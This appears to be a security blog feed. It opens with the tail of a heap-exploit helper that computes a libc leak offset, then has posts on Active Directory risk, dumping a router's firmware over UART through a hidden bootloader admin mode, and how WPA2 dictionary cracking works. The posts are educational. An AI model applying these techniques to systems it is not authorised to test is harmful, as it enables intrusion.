</span>            </span>if </span>"</span>libc.so.6</span>" </span>in </span>line </span>and </span>"</span>r--p</span>" </span>in </span>line:
</span>                actual_base </span>= </span>int</span>(line.</span>split</span>(</span>"</span>-</span>"</span>)[</span>0</span>], </span>16</span>)
</span>                </span>break
</span>        </span>else</span>:
</span>            cal.</span>close</span>()
</span>            </span>raise </span>RuntimeError</span>(</span>"</span>Could not find libc in /proc/pid/maps</span>"</span>)
</span>
</span>    offset </span>= </span>leak </span>- </span>actual_base
</span>    </span>assert </span>offset </span>> </span>0 </span>and </span>actual_base </span>& </span>0xfff </span>== </span>0
</span>    log.</span>success</span>(</span>f</span>"</span>unsorted bin offset = </span>{</span>hex</span>(offset)} </span>"
</span>                </span>f</span>"</span>(leak=</span>{</span>hex</span>(leak)}</span>, base=</span>{</span>hex</span>(actual_base)}</span>)</span>"</span>)
</span>    </span>return </span>offset
</span></code></pre>



Why Active Directory Security is Essential
s3mme — Thu, 09 Jan 2025 00:00:00 +0000
TL;DR</a></h2>

Role of Active Directory</strong>: Centralized identity and access management system, critical for securing enterprise resources</li>
Risk</strong>: High-value target for attackers; breaches can disrupt operations and cause financial/reputational damage</li>
Impact of Breaches</strong>: Financial losses, legal/regulatory penalties, operational downtime, and damaged reputation</li>
Mitigation Strategies</strong>:

Enhance monitoring with SIEM, EDR, and XDR solutions</li>
Conduct AD penetration tests and red team assessments</li>
Provide continuous training for IT personnel</li>
</ul>
</li>
</ul>


  If you are a CEO, CFO, CMO, or basically any non-IT member of a management team, you probably haven’t ever heard of _Active Directory (AD)_.
Nonetheless, you are using it every day, every hour, every minute when you log in to your device, open your emails, access an application, or share a file.
It is the very foundation on which your IT infrastructure is built.
  
 

  ~Tenable [1]</a>
</blockquote>
I believe this quote to be quite fitting, as Active Directory is quite the niche product.
If you are not a sysadmin, or any IT-person inside a company you probably have never heard of it.</p>
However, it is one of the most important, if not the</strong> most important, asset to protect inside an organization.
Past incidents like the SolarWinds attack in 2021 underline this as threat actors were able to distribute malware-infused updates after compromising the infrastructure [1]</a>.</p>
But what is Active Directory and why is it this important?</p>

What is Active Directory?</a></h2>
Active Directory (AD)</em> is the component that serves as the backbone of Identity and Access Management (IAM)</em> for most large organizations worldwide [2]</a>.
As the primary system for managing credentials, permissions, and access to critical resources, AD serves a key role in an organization's infrastructure.
However, due to this critical role, AD is also a prime target for attackers.
Therefore, weaknesses in AD configurations can have severe consequences.
This article explores why AD security is critical for leaders of organizations, the impact of inadequate AD management, and practical steps to strengthen AD defenses.</p>
Active Directory’s role in enterprise environments extends beyond simple user authentication.
As a core IAM system, it dictates who can access what across an organization, directly influencing security and operational continuity.</p>
At the heart of AD is a centralized identity management.
AD enables enterprises to control permissions at a granular level, granting users access to resources based on their roles.
By centralizing these access controls, AD allows organizations to standardize security policies across the board, reducing the complexity of managing permissions for hundreds or thousands of users.</p>

Why is AD a prominent target?</a></h2>
In today’s threat landscape, Active Directory is a high-value target for attackers because compromising it allows attackers to access confidential data, disrupt operations, and execute privileged attacks.
Once attackers identify gaps in AD's configuration, they see it as the gateway the organization’s resources.
Gaining control of an AD domain enables exploring the network from the inside, identifying and locating high-value targets, such as servers containing customer or employee data, intellectual property and other sensitive information.
This also means that a single AD compromise can allow threat actors to traverse a network and access systems that would otherwise be segmented and protected.</p>
As highlighted in Microsoft’s 2023 Digital Defense Report [3]</a>, common AD misconfigurations often create vulnerabilities that attackers exploit.
For instance, excessive privileged access, insufficient monitoring of AD activity, and weak segmentation between on-premises and cloud AD environments are frequent issues.
These weaknesses leave AD exposed, increasing the risk of an attack that could impact the entire organization.</p>

Financial and Reputational Risks</a></h2>
The consequences of an AD breach extend beyond immediate technical issues.
The financial and reputational impacts of an AD compromise can be severe, affecting the organization’s bottom line and brand reputation.</p>
When attackers gain unauthorized access through AD, the resulting breach can result in significant financial losses.
Direct costs can include expenses related to remediation, containment, and legal fees.
For example, organizations may hire third-party security firms to assist in the remediation of a breach.
Regulatory fines are another consideration, especially if the breach results in the exposure of sensitive customer or employee data.</p>

    
    Figure 1: Average cost of a data breach over time [4]</a></figcaption>
</figure>
As Figure 1 shows, in 2024 the global average cost of a data breach rose to $4.88 million---a 10% increase from 2023---marking the largest annual increase since the pandemic [4]</a>.
This underscores the growing financial risk associated with data breaches, including those resulting from AD compromises.
Because AD is responsible for securing a large portion of an organization's assets, an AD compromise can quickly become a costly event.</p>
In addition to direct financial losses, a compromised AD environment can significantly damage an organization's reputation.
Customers and investors may lose confidence in the organization's ability to protect data, resulting in lost business and a potential decline value.
A major breach can also cause operational downtime, reducing productivity and impacting service delivery.</p>

Key Misconfigurations</a></h2>
AD misconfigurations are a leading cause of vulnerabilities within enterprise environments.
Microsoft’s 2023 report identifies several common misconfigurations that often expose AD to attacks [3]</a>.
By addressing these issues, organizations can significantly reduce their risk profile.</p>
One of the most common AD misconfigurations is the over-assignment of privileged access.
When too many users have high-level permissions, it increases the risk of privilege escalation attacks.
Implementing least-privilege policies helps restrict access, ensuring that only users who need elevated privileges for their roles are granted such access.
This simple adjustment can greatly reduce the chances of unauthorized privilege escalation within the network.</p>
Real-time monitoring of AD activity is crucial for detecting and responding to unauthorized access attempts.
Without robust logging and monitoring, organizations may not detect suspicious behavior in time to prevent further escalation.
Implementing security information and event management (SIEM)</em> solutions that provide alerts on unusual activity is an important step in improving the visibility inside the organizaion.</p>

Strengthening AD Security</a></h2>
To strengthen an organization's infrastructure, it is critical to implement a layered approach that combines strong access controls, monitoring, regular testing, and proactive threat detection. Given the critical role that AD plays in identity and access management, a single gap can lead to extensive exposure across the network.</p>
Applying the principle of least privilege (PoLP)</em> ensures that users, applications, and systems have only the minimum privileges necessary to do their jobs.
In practice, PoLP limits the number of privileged accounts and tightly restricts their permissions, helping to reduce the risk of privilege escalation and unauthorized access.</p>
Another step in improving the security posture is the implementation of active detection methods, such as Endpoint Detection and Response (EDR)</em> and Extended Detection and Response (XDR)</em> solutions.
They are critical to securing Active Directory environments by providing continuous visibility into endpoint activity and detecting anomalous behavior in a timely manner.
By identifying early signs of potential compromise, such as password spraying or credential dumping, EDR and XDR solutions enable the defense team to respond quickly and contain threats before they escalate.</p>
Another proactive measure is an AD penetration test</strong>.
This enables organizations to assess their security posture from an internal perspective by simulating attacks originating within the network, these tests identify misconfigurations, weak permissions, and other vulnerabilities in the AD configuraion that could be exploited by attackers.</p>
Red team assessments</strong> are another effective complement to internal AD penetration testing.
By emulating real-world adversary tactics and techniques, they offer a comprehensive view of an organization's security stance.
In contrast to standard penetration tests, red team assessmens simulate stealthy threat actors that put an organizations defensive capabilities to the test.
This includes feedback on the effectiveness of implemented policies, threat detection and response protocols.</p>
A robust AD security posture depends on the expertise of informed administrators, IT professionals, and defensive teams.
Continuous training on the latest AD threats, best practices, and security configurations ensures that personnel are equipped with the knowledge and skills to proactively manage AD settings and detect potential vulnerabilities.
Awareness programs also enable teams to identify potential misconfigurations or security gaps and implement improvements.</p>

Conclusion</a></h2>
For organizations, securing Active Directory is not simply a technical consideration but a strategic one.
As cyber threats evolve and attackers become more sophisticated, hardening AD security is crucial for mitigating risk and safeguarding assets.
By prioritizing proactive AD management, enforcing least-privilege access, and regularly assessing configurations, organizations can their resilience against threats.</p>

Resources</a></h2>

    Tenable, A global threat to enterprises: The impact of AD attacks</em>. Tenable, 2021. [Online]. Available: https://de.tenable.com/whitepapers/a-global-threat-to-enterprises-the-impact-of-ad-attacks</a> [Accessed: Nov. 18, 2024].</li>
    
6sense, Best identity and access management software in 2024,</q> 2024. [Online]. Available: https://www.6sense.com/tech/identity-and-access-management</a> [Accessed: Oct. 28, 2024].</li>
    
Microsoft, Microsoft digital defense report 2023</em>, 2023. [Online]. Available: https://www.microsoft.com/en/security/security-insider/microsoft-digital-defense-report-2023</a> [Accessed: Nov. 3, 2024].</li>
    
IBM, Cost of a data breach 2024</em>, 2024. [Online]. Available: https://www.ibm.com/reports/data-breach</a> [Accessed: Oct. 28, 2024].
    </li>
</ol>


Peek Inside: T-Home Speedport W700V Router
s3mme — Mon, 04 Nov 2024 00:00:00 +0000
I have a habit of buying used hardware whenever I see something interesting where I might think: "Let's open it up and see how it works".
Therefore, I have a bin full of scrap electronics that wait their turn to be analyzed by me.</p>
As the title suggests, I recently picked a router from that pile, the T-Home Speedport W700V.
This router is pretty old (from around 2008) so it makes a good target as I won't be sad when I brick it by accident.
The goal is to check if it has any debugging ports we can connect to and potentially dump the firmware.</p>

Connecting to the Device</a></h2>
Looking at the router, we can identify four screws holding the back plate of the device.
After removing them with a Phillips screwdriver, we can pry open the plastic case.
Be careful with the external antenna, which is attached by a wire.
We are greeted by a beautiful 15-year-old circuit board.</p>
</p>
Right off the bat we can see a few different chips on the board.
The CPU, RAM and Flash chips are marked in green, blue and red respectively.</p>
We can also see an unmarked area on the board with a few pins sticking out (marked in magenta).
This immediately indicates that this is an exposed debug port, which conveniently has header pins already attached for us.
So let's find out what these pins do.</p>
Since I suspect that this is a serial port, let us check if the board uses the Universal Asynchronous Receiver-Transmitter (UART</strong>)</em> protocol as this is quite common for these debug ports.
Let's investigate: To identify the TX, RX, GND, and VCC pins, we can use a multimeter to analyze the behavior of each pin using both voltage readings and signal patterns.
We begin by powering up the board, setting our multimeter to continuity mode, and locate the GND pin by probing all pins against a known ground (such as the metal shield we see on the PCB).
Similarly, we can locate VCC by checking the pins for a stable 3.3V voltage (relative to GND).
With GND and VCC identified, we can focus on the TX (transmit) and RX (receive) pins.
TX, which is responsible for transmitting data, will naturally show voltage fluctuations as data is transmitted.
This is the usual rising and falling edge pattern of the protocol.
RX usually stays low when it's not receiving data.
To make sure we have the right pin, we can try different ones or use specialized hardware like the BusPirate</a>.
The BusPirate checks different PIN configurations and automatically determines the correct one.</p>
With the pinout configured, we can set up our connection to the computer.
We saw that our VCC is 3.3V, therefore we change the pullup resistor on our serial adapter accordingly.
Make sure you check your voltages as well to avoid bricking your target.
Afterwards, we can connect the adapter's GND to the GND on the board, TX to the board's RX, and vice-versa.
We alternate TX and RX as our adapter reads</em> from the board's transmit</em> pin, and vice-versa.</p>
Now, we can attach to the serial interface via picocom</code>, screen</code> or another tool that can read from serial.
We choose screen for its simplicity today and connect to the device via screen /dev/ttyUSB0 115200</code>, where 115200</code> represents the Baudrate</a> of the device.
After we are connected, and boot the device, we can see the boot log of the machine.
This confirms our assumption that the header pins are a debugging port!</p>
Examining the log, we see a lot of interesting information, for example, right after booting it waits for a certain key sequence to enter the bootloader's menu.
After rebooting again and hitting space three times we are greeted with the following prompt:</p>
Press the Space Bar 3 times to enter command mode ...123
</span>Yes, Enter command mode ...
</span>
</span>
</span>[AMAZON Boot]:?
</span>
</span>======================
</span> [U] Upload to Flash
</span> [E] Erase Flash
</span> [G] Run Runtime Code
</span> [A] Set MAC Address
</span> [#] Set Serial Number
</span> [V] Set Board Version
</span> [H] Set Options
</span> [P] Print Boot Params
</span> [0] Primary = Image 0
</span> [1] Primary = Image 1
</span>======================
</span></code></pre>
While uploading data to the flash seems interesting, we are particularly interested in extracting</em> it to analyze it further.
After playing around with the interface and some googling, we discovered that we could unlock an administrative interface in an old German forum post</a>.
This mode can be triggered when we enter an exclamation mark (!</code>) in the boot prompt and unlocks more interesting features like reading and writing to the flash chip:</p>
[AMAZON Boot]:!
</span>
</span>Enter Administrator Mode !
</span>
</span>======================
</span> [U] Upload to Flash
</span> [E] Erase Flash
</span> [G] Run Runtime Code
</span> [M] Upload to Memory
</span> [R] Read from Memory
</span> [W] Write to Memory
</span> [T] Memory Test
</span> [Y] Go to Memory
</span> [A] Set MAC Address
</span> [#] Set Serial Number
</span> [V] Set Board Version
</span> [H] Set Options
</span> [P] Print Boot Params
</span> [0] Primary = Image 0
</span> [1] Primary = Image 1
</span>======================
</span></code></pre>
With these options, we can read from memory directly:</p>
[AMAZON Boot]:r
</span>
</span>Enter the Start Address to Read....0x
</span>
</span>[we enter 0x30000000]
</span>
</span>Enter the Start Address to Read....0x30000000
</span>Data Length is (1) 4 Bytes (2) 2 Bytes (3) 1 Byte...
</span>Enter the Count to Read....(Maximun 10000)100
</span>
</span>----------------------------------------------------------
</span>
</span> Address   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
</span>
</span>----------------------------------------------------------
</span>0x30000000
</span>0x30000010
</span>[...]
</span>0x30000180
</span></code></pre>
We see that this (arbitrarily chosen) memory region is empty, so how do we know where our memory lies?
When we google some more we discover that OpenWRT</a> tells us what mapped memory looks like.
However, what would we do if this was an unknown target? After poking around in the bootloader we can try the [U] Upload to Flash</code> function and are greeted with:</p>
[AMAZON Boot]:u
</span>
</span>UPLOAD Flash
</span>---------------------------------------
</span>    Area            Address      Length
</span>---------------------------------------
</span>[0] Boot            0xB3000000     128K
</span>[1] Configuration   0xB3020000     192K
</span>[2] Image 0         0xB3050000    1856K
</span>[3] Image 1         0xB3220000    1856K
</span>[4] Boot Params     0xB33F0000      64K
</span>[5] Flash Image     0xB3000000    4096K
</span>---------------------------------------
</span>Enter area to UPLOAD:
</span></code></pre>
Firmware Extraction and Analysis</a></h2>
Now that we have the memory layout and can read memory from the bootloader, we are equipped with the tools to extract the firmware directly via UART.
To do so, we can utilize a modified version of https://github.com/rvalles/brntool/</a>:</p>
#!/usr/bin/python3
</span># -*- coding: utf-8 -*-
</span>from </span>optparse </span>import </span>OptionParser
</span>import </span>serial
</span>import </span>sys
</span>import </span>re
</span>lineregex </span>= </span>re.</span>compile</span>(</span>r</span>'</span>0x(?:</span>[0-9A-F]</span>{8}</span>)((?: </span>[0-9A-F]</span>{2}</span>)</span>{1,16}</span>)</span>'</span>)
</span>
</span>def </span>get2menu</span>(</span>ser</span>,</span>verbose</span>):
</span>	</span>if </span>verbose:
</span>		</span>print</span>(</span>"</span>Waiting for a prompt...</span>"</span>, </span>file</span>=</span>sys.stderr)
</span>	</span>while </span>True</span>:
</span>		ser.</span>write</span>(</span>"</span>   !</span>"</span>.</span>encode</span>())
</span>		</span>if</span>(ser.</span>read</span>(</span>1</span>)</span>==</span>b</span>'</span>]</span>' </span>and </span>ser.</span>read</span>(</span>1</span>)</span>==</span>b</span>'</span>:</span>'</span>):
</span>			</span>while </span>ser.</span>read</span>(</span>256</span>):
</span>				</span>pass
</span>			</span>if </span>verbose:
</span>				</span>print</span>(</span>"</span>Found prompt.</span>"</span>, </span>file</span>=</span>sys.stderr)
</span>			</span>return
</span>
</span>def </span>memreadblock</span>(</span>ser</span>,</span>addr</span>,</span>size</span>):
</span>	</span>while </span>ser.</span>read</span>(</span>1</span>):
</span>		</span>pass
</span>	ser.</span>write</span>(</span>'</span>r</span>'</span>.</span>encode</span>())
</span>	</span>while not </span>(ser.</span>read</span>(</span>1</span>)</span>==</span>b</span>'</span>0</span>' </span>and </span>ser.</span>read</span>(</span>1</span>)</span>==</span>b</span>'</span>x</span>'</span>):
</span>		</span>pass
</span>	ser.</span>write</span>((</span>"</span>%x</span>"</span>%</span>addr).</span>encode</span>())
</span>	ser.</span>write</span>(</span>'</span>\r</span>'</span>.</span>encode</span>())
</span>	</span>while not </span>(ser.</span>read</span>(</span>1</span>)</span>==</span>b</span>'</span>.</span>' </span>and </span>ser.</span>read</span>(</span>1</span>)</span>==</span>b</span>'</span>.</span>' </span>and </span>ser.</span>read</span>(</span>1</span>)</span>==</span>b</span>'</span>.</span>'</span>):
</span>		</span>pass
</span>	ser.</span>write</span>(</span>'</span>3</span>'</span>.</span>encode</span>())
</span>	</span>while not </span>ser.</span>read</span>(</span>1</span>)</span>==</span>b</span>'</span>)</span>'</span>:
</span>		</span>pass
</span>	ser.</span>write</span>(</span>str</span>(size).</span>encode</span>())
</span>	ser.</span>write</span>(</span>'</span>\r</span>'</span>.</span>encode</span>())
</span>	buf</span>=</span>b</span>''
</span>	m </span>= </span>False
</span>	</span>while not </span>m:
</span>		m </span>= </span>lineregex.</span>match</span>(ser.</span>readline</span>().</span>decode</span>().</span>strip</span>())
</span>	</span>while </span>m:
</span>		</span>if </span>sys.version_info </span>>= </span>(</span>3</span>, </span>0</span>):
</span>			buf</span>+=</span>bytes</span>.</span>fromhex</span>(m.</span>group</span>(</span>1</span>))
</span>		</span>else</span>:
</span>			buf</span>+=</span>''</span>.</span>join</span>([</span>chr</span>(</span>int</span>(x, </span>16</span>)) </span>for </span>x </span>in </span>m.</span>group</span>(</span>1</span>)[</span>1</span>:].</span>split</span>(</span>' '</span>)])
</span>		m </span>= </span>lineregex.</span>match</span>(ser.</span>readline</span>().</span>decode</span>().</span>strip</span>())
</span>	</span>return </span>buf
</span>
</span>def </span>memreadblock2file</span>(</span>ser</span>,</span>fd</span>,</span>addr</span>,</span>size</span>):
</span>	</span>while </span>True</span>:
</span>		buf</span>=</span>memreadblock</span>(ser,addr,size)
</span>		</span>if </span>len</span>(buf)</span>==</span>size:
</span>			</span>break
</span>		sys.stderr.</span>write</span>(</span>'</span>!</span>'</span>)
</span>	fd.</span>write</span>(buf)
</span>
</span>def </span>memread</span>(</span>ser</span>,</span>path</span>,</span>addr</span>,</span>size</span>,</span>verbose</span>):
</span>	bs</span>=</span>0x100000 </span>// </span>2
</span>	</span>print</span>(</span>f</span>"</span>bs set to: </span>{</span>hex</span>(bs)}</span> (</span>{bs}</span>)</span>"</span>)
</span>
</span>	</span>get2menu</span>(ser,verbose)
</span>	</span>if </span>path </span>== </span>"</span>-</span>"</span>:
</span>		</span># get sys.stdout in Python 2 or sys.stdout.buffer in Python 3
</span>		fd</span>=</span>getattr</span>(sys.stdout, </span>'</span>buffer</span>'</span>, sys.stdout)
</span>	</span>else</span>:
</span>		fd</span>=</span>open</span>(path,</span>"</span>wb</span>"</span>)
</span>	</span>while </span>0 </span>< </span>size:
</span>		</span>if </span>size </span>> </span>bs:
</span>			</span>memreadblock2file</span>(ser,fd,addr,bs)
</span>			size</span>-=</span>bs
</span>			addr</span>+=</span>bs
</span>			</span>print</span>(</span>"</span>Addr: </span>" </span>+ </span>hex</span>(addr), </span>file</span>=</span>sys.stderr)
</span>			</span>print</span>(</span>"</span>Size: </span>" </span>+ </span>str</span>(size), </span>file</span>=</span>sys.stderr)
</span>		</span>else</span>:
</span>			</span>memreadblock2file</span>(ser,fd,addr,size)
</span>			size</span>=</span>0
</span>	fd.</span>close</span>()
</span>
</span>def </span>main</span>():
</span>	optparser </span>= </span>OptionParser</span>(</span>"</span>usage: </span>%p</span>rog [options]</span>"</span>,</span>version</span>=</span>"</span>%p</span>rog 0.1</span>"</span>)
</span>	optparser.</span>add_option</span>(</span>"</span>--verbose</span>"</span>, </span>action</span>=</span>"</span>store_true</span>"</span>, </span>dest</span>=</span>"</span>verbose</span>"</span>, </span>help</span>=</span>"</span>be verbose</span>"</span>, </span>default</span>=</span>False</span>)
</span>	optparser.</span>add_option</span>(</span>"</span>--serial</span>"</span>, </span>dest</span>=</span>"</span>serial</span>"</span>, </span>help</span>=</span>"</span>specify serial port</span>"</span>, </span>default</span>=</span>"</span>/dev/ttyUSB0</span>"</span>, </span>metavar</span>=</span>"</span>dev</span>"</span>)
</span>	optparser.</span>add_option</span>(</span>"</span>--read</span>"</span>, </span>dest</span>=</span>"</span>read</span>"</span>, </span>help</span>=</span>"</span>read mem to file</span>"</span>, </span>metavar</span>=</span>"</span>path</span>"</span>)
</span>	optparser.</span>add_option</span>(</span>"</span>--addr</span>"</span>, </span>dest</span>=</span>"</span>addr</span>"</span>,</span>help</span>=</span>"</span>mem address</span>"</span>, </span>metavar</span>=</span>"</span>addr</span>"</span>)
</span>	optparser.</span>add_option</span>(</span>"</span>--size</span>"</span>, </span>dest</span>=</span>"</span>size</span>"</span>,</span>help</span>=</span>"</span>size to copy</span>"</span>, </span>metavar</span>=</span>"</span>bytes</span>"</span>)
</span>	(options, args) </span>= </span>optparser.</span>parse_args</span>()
</span>
</span>	</span>if </span>len</span>(args) </span>!= </span>0</span>:
</span>		optparser.</span>error</span>(</span>"</span>incorrect number of arguments</span>"</span>)
</span>
</span>	ser </span>= </span>serial.</span>Serial</span>(options.serial, </span>115200</span>, </span>timeout</span>=</span>1</span>)
</span>
</span>	</span>if </span>options.read:
</span>		</span>memread</span>(ser,options.read,</span>int</span>(options.addr,</span>0</span>),</span>int</span>(options.size,</span>0</span>),options.verbose)
</span>	</span>return
</span>if </span>__name__ </span>== </span>'</span>__main__</span>'</span>:
</span>	</span>main</span>()
</span>
</span># run with: python3 script.py --read dump.bin --serial /dev/ttyUSB0 --addr 0xB3000000 --size 0x400000
</span></code></pre>
Here, we connect to the tty (on /dev/ttyUSB0</code>), enter space three times, and follow with an exclamation point.
This gets us into the administrative menu we want.
Afterward, we want to (r)ead and read as much data as the bootloader lets us.
While it reports that we can read at most 10000 bytes in a single read, I found that it does not perform a bounds check.
Therefore, we try to read the entire 4 MiB of memory in one go (0x400000</code>) from the start of the flash memory (0xB3000000</code>).
We parse this output with a regular expression and write it to our dump.bin</code> file.</p>
After running the program, and a few minutes of time, the script finishes and we have exactly 4MBs of raw binary data.</p>
$</span> du dump.bin
</span>4096</span>	dump.bin
</span></code></pre>
Now what? We have a blob of binary data that consists of different memory areas.
We could carve out each block of memory via dd</code> and the given offsets from the memory layouts.
However, we can also utilize binwalk</code> which can identify and even extract data of a given file by looking for familiar file signatures</a>.
After running it on the initial dump.bin</code> we see that it identifies a number of LZMA compressed archives.
Of course, we want to look inside these as well, however, we do not want to extract each step manually.
Therefore, we run:</p>
$</span> binwalk</span> -Me</span> dump.bin
</span></code></pre>
This runs binwalk recursively on every extracted artifact until it cannot match anything it knows anymore.
Looking through the extracted files we see that we were successful in extracting the PFS file system on the router:</p>
></span> xxd </span>0.pfs </span>| </span>head
</span>00000000:</span> 5046 532f 302e 3900 0000 0000 4000 5201  PFS/0.9.....@.R.
</span>00000010:</span> 7777 775c 6976 725c 316b 2e37 3131 0000  www</span>\i</span>vr</span>\1</span>k.711..
</span>00000020:</span> 0000 0000 0000 0000 0000 0000 0000 0000  ................
</span>00000030:</span> 0000 0000 0000 0000 0000 0000 0000 0000  ................
</span>00000040:</span> 0000 0000 0000 0000 0000 0000 0000 0000  ................
</span>00000050:</span> bb3c 0bac 0000 0000 6c38 0100 7777 775c  .</span><</span>......l8..www\
</span>00000060: 696d 6167 6573 5c70 6963 5f61 735f 6c69  images</span>\p</span>ic_as_li
</span>00000070:</span> 6e69 652e 6769 6600 0000 0000 0000 0000  nie.gif.........
</span>00000080:</span> 0000 0000 0000 0000 0000 0000 0000 0000  ................
</span>00000090:</span> 0000 0000 0000 0000 0000 0000 1516 64ac  ..............d.
</span></code></pre>
As binwalk also extracted the filesystem we get:</p>
.
</span>└──</span> pfs-root
</span>    </span>└──</span> www
</span>        </span>├──</span> cgi-bin
</span>        </span>├──</span> cpe
</span>        </span>├──</span> doc
</span>        </span>├──</span> images
</span>        </span>└──</span> ivr
</span>
</span>7</span> directories
</span></code></pre>
Now we can look into the files on the router and search for bugs!
We could also edit the files on the system, re-compress them, and flash them onto the router!</p>
Bonus</a></h3>
As we only knew about the administrative interface via Googling, the question may arise of how we can gain access to the firmware via another method?
The easiest answer is downloading it from the manufacturer: Online Archive Download Link</a>.
This is the same version of the firmware as the one we extracted from the device via our UART script.
However, this is also not applicable to every target, so what is another possibility to acquire it?</p>
Here further hardware comes into play, namely a flash programmer.
We identified the flash chip on the board and could use a tool like the CH341A programmer to extract the firmware directly from the chip.
By connecting the clamp to the flash chip we can read the contents directly from it and analyze it later on.</p>
Lastly, when examining the acquired firmware we find the following section in one of the extracted image files:</p>
[...]
</span>000081d0:</span> 6572 2041 646d 696e 6973 7472 6174 6f72  er Administrator
</span>000081e0:</span> 204d 6f64 6520 210a 0000 0000 0a20 2020   Mode !......
</span>[...]
</span></code></pre>
This hints towards an administrative interface in the bootloader.
However, keep in mind that finding this and identifying its meaning would take considerably more time.</p>
Conclusion</a></h2>
In summary, examining hardware such as the T-Home Speedport W700V router provides insight into how our devices work at a deeper level.
By identifying debug ports and connecting via UART, we were able to access the device's firmware and extract it for analysis.
Tools like binwalk</code> helped us dissect the router's file system and reveal its configuration.</p>
This demonstrated process highlights the value of exposing hardware products to security analysis.
By thoroughly examining these devices, manufacturers can identify potential vulnerabilities early and strengthen their security posture.
So the next time you come across an old piece of hardware, take a peek inside---you never know what you might discover!</p>


How dangerous can a handshake be?
s3mme — Wed, 14 Sep 2022 00:00:00 +0000
A few weeks ago I took a mobile security class at university which also included a portion about wifi-security.

Along those studies, I stumbled upon the process of performing a dictionary attack against the current consumer-grade, "standard", WPA2.</p>
I knew tools like aircrack</a> existed, however, I never knew how these tools worked under the hood.
Therefore, it was clear that I want to build something similar with my newly acquired knowledge and took it upon myself to start working on this after my exam was over.</p>
Therefore, here I want to document how I tackled this problem, and how I succeeded in creating v0.1 of cr4gg</a>, which performs the dictionary attack.</p>
We start off by explaining the 4-Way Handshake the involved parties have to go through to authenticate each other.</p>
4 Way Handshake</a></h2>
We assume that a pre-shared key</em> (PSK) was exchanged between the user accessing the Access-Point</em> (AP) and the AP itself.
In most cases this is your usual wifi password you use to access your router for the first time, however, this could also be a more complex system using EAP</a>.</p>
Now, we start off by looking at the following figure to gain a high-level overview of the message-flow:</p>


4-Way Handshake Wifi [1]</figcaption>
</figure>
Firstly, the AP and the Mobile Station</em> (STA) exchange Nonces, the AP sends an Authenticator-Nonce</em> (ANonce) and the STA a Supplicant-Nonce</em> (SNonce).
Additionally, STA generates a pairwise-master key</em> (PMK) from the PSK, subsequently STA generates a pairwise-transient key</em> (PTK) from it and both Nonces.
The first 16 bytes of the PTK are called the key-confirmation key</em> (KCK) and this key is used to sign the SNonce of STA, producing the MIC that is seen in the second message.</p>
Now, after the STA sends the SNonce, the AP is able to construct the PTK as well.
Additionally, it knows that the SNonce really comes from STA as the MIC confirms it.
In the third message, the AP confirms that both parties have the same PTK by sending it's ANonce again but attaching an additional MIC to it.
Lastly, the STA ACKs that it received the third message.</p>
Architecture</a></h2>
The following figure depicts a high-level overview of the authentication architecture we use to guess the correct passphrase.</p>



Concept of guessing architecture
</figcaption>
</figure>
As we limit ourselves to the passphrase-based authentication mechanism, we construct our PMK-guess from the passphrase and the SSID of the AP.
With the PMK, the MAC-Addresses, and the Nonces we are able to construct our guess for the PTK.
The PRF function is described in the following figure.</p>



PRF-X Function Pseudocode [2]
</figcaption>
</figure>
Where A and B are as depicted in Figure 2</a>.
There the split of the PTK can be seen conceptually, but a more detailled version is seen in Figure 4</a>.</p>



PRF-X Hierarchy [2]
</figcaption>
</figure>
Using the KCK as our key, we generate our integrity-code based on the packet content, and derive our guessed MIC</em> (gMIC).
After we obtain this gMIC we are able to compare it to our real MIC</em> (rMIC) we got from the packet capture.
If the MICs are the same, our guess of the passphrase was correct, if it is not, we choose our next passphrase and repeat the process.</p>
If you want to take a look at the source code, check cr4gg out on Github!</a>.</p>
Ethics Disclaimer</a></h2>
This project's solely purpose is to gain more knowledge about wifi security and the language go</a>.
Do not use this tool to attack networks you do not have the permission to pentest on.
I also think that publishing this tool is not harmful as more sophisticated tools like aircrack</a> and cowpatty</a> already exist.</p>
References</a></h2>
[1]: 4-Way Handshake Wikipedia</a>

[2]: 802.11i-2004, p. 74 ff.</a>
</p>